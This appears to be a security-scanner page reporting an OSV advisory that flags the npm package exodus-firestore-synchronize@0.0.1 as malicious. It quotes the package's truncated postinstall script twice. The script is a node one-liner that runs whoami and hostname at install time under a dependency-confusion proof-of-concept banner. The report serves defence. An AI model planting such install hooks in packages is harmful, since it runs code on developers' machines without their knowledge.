exodus-firestore-synchronize@0.0.1: Malicious npm security report

OSV Malicious Advisory

imported 15d ago · by OpenSSF/OSV

OpenSSF/OSV advisory MAL-2026-16533 confirms this npm version as malicious. Malicious code in exodus-firestore-synchronize (npm)

Advisory

MAL-2026-16533

Source

OpenSSF Malicious Packages via OSV

Summary

Malicious code in exodus-firestore-synchronize (npm)

Decision reason

High-risk behavior combination matched malicious policy.

References

OSV advisory

Decision evidence

public snapshot

Behavioral surface

SourceNo risky source behavior triggered.

Supply chainNo supply-chain packaging signals triggered.

Manifest

NoLicense

scanned 0 file(s), 0 B of source

Source & flagged code

2 flagged

package.jsonView file

•scripts.postinstall = node -e "const{execSync:r}=require('child_process');console.log('\n[DEPENDENCY CONFUSION POC]\nUser:',r('whoami').toString().trim(),'\nHost:',r('hostname').toString().trim(),'\nSec...

Critical

Red Install Lifecycle Script

Install-time lifecycle script matches a deterministic static-gate block pattern.

package.jsonView on unpkg

•scripts.postinstall = node -e "const{execSync:r}=require('child_process');console.log('\n[DEPENDENCY CONFUSION POC]\nUser:',r('whoami').toString().trim(),'\nHost:',r('hostname').toString().trim(),'\nSec...

High

Install Time Lifecycle Scripts

Package defines install-time lifecycle scripts.

package.jsonView on unpkg

Source & flagged code

2 flagged · loading source

package.jsonView file

exodus-firestore-synchronize@0.0.1

OSV Malicious Advisory

Decision evidence

Source & flagged code

Source & flagged code

Findings

Affected versions and remediation

Source & flagged code